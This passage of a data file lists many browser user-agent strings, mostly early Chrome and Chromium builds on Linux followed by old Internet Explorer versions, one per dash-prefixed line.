AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.205.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.0 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.2 Safari/533.4 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.551.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.579.0 Safari/534.12 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.44 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/9.10 Chromium/9.0.592.0 Chrome/9.0.592.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.612.1 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.04 Chromium/10.0.612.3 Chrome/10.0.612.3 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.611.0 Chrome/10.0.611.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.416.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 SUSE/6.0.428.0 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.457.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.24 Safari/534.7 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.576.0 Safari/534.12 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.3 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.7 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.1 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.308.0 Safari/532.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.368.0 Safari/533.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.544.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.200 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1333515017.9196 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416664997.4379 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416670950.695 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416748405.3871 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416758524.9051 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Ubuntu/10.10 Chromium/9.0.600.0 Chrome/9.0.600.0 Safari/534.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.82 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.127 Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 SUSE/10.0.626.0 (KHTML, like Gecko) Chrome/10.0.626.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.417.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.470.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML,like Gecko) Chrome/9.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/8.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.15) Gecko/20101027 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; fr-FR) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3 -Mozilla/5.0 (X11; U; Slackware Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.30 Safari/532.5 -Mozilla/5.0 (X11; U; Windows NT 6; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.587.0 Safari/534.12 -Mozilla/5.0 (X11; U; x86_64 Linux; en_GB, en_US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 Chrome/2.0.172.6 Safari/530.7 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.7 -Mozilla/6.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 - -# Microsoft Internet Explorer - -Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0) -Mozilla/4.0 (Compatible; MSIE 4.0) -Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 4.01; Windows 95) -Mozilla/4.0 (compatible; MSIE 4.01; Windows 98) -Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt) -Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Hotbar 3.0) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; PPC) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176x220) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint;PPC-i830; PPC; 240x320) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:PPC-i830; PPC; 240x320) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i320; Smartphone; 176x220) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint; SCH-i830; PPC; 240x320) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i830; PPC; 240x320) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip320; Smartphone; 176x220) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip830w; PPC; 240x320) -Mozilla/4.0 (compatible; MSIE 4.01; Windows NT) -Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0) -Mozilla/4.0 (compatible; MSIE 4.0; Windows 95) -Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 4.0; Windows 98) -Mozilla/4.0 (compatible; MSIE 4.0; Windows NT) -Mozilla/4.0 (compatible; MSIE 4.5; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 4.5; Windows 98;) -Mozilla/4.0 (compatible; MSIE 4.5; Windows NT 5.1; .NET CLR 2.0.40607) -Mozilla/4.0 (compatible; MSIE 5.00; Windows 98) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MSIECrawler) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Q312461) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Q312461; T312461) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.1) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.3; Wanadoo 5.5) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.6) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.0.0) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.0.0; Hotbar 4.1.8.0) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.4) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; Hotbar 3.0) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; Hotbar 4.2.8.0) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; MSIECrawler) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; DigExt) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; Hotbar 4.1.8.0) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; .NET CLR 1.0.3705) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; YComp 5.0.0.0) -Mozilla/4.0 (compatible; MSIE 5.05; Windows 98; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 5.05; Windows NT 3.51) -Mozilla/4.0 (compatible; MSIE 5.05; Windows NT 4.0) -Mozilla/4.0 (compatible; MSIE 5.0b1; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;) -Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt) -Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.6) -Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.6; yplus 1.0) -Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; Hotbar 3.0) -Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; YComp 5.0.2.4) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT;) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.2; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.9; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.04506.648; .NET4.0C; .NET4.0E) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Hotbar 3.0) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Hotbar 4.1.8.0) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; .NET CLR 1.0.3705) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.0.0) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.2.5) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.2.6) -Mozilla/4.0 (compatible; MSIE 5.12; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.13; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.14; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC Mac OS; en) -Mozilla/4.0 (compatible; MSIE 5.21; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.22; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.2; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.5;) -Mozilla/4.0 (compatible; MSIE 5.50; Windows 95; SiteKiosk 4.8) -Mozilla/4.0 (compatible; MSIE 5.50; Windows 98; SiteKiosk 4.8) -Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8) -Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8; SiteCoach 1.0) -Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.9; SiteCoach 1.0) -Mozilla/4.0 (compatible; MSIE 5.5b1; Mac_PowerPC) -Mozilla/4.0 (compatible;MSIE 5.5; Windows 98) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT5) -Mozilla/4.0 (Compatible; MSIE 5.5; Windows NT5.0; Q312461; SV1; .NET CLR 1.1.4322; InfoPath.2) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.5) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; chromeframe/12.0.742.100; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) -Mozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; YComp 5.0.0.0) -Mozilla/4.0 (compatible; MSIE 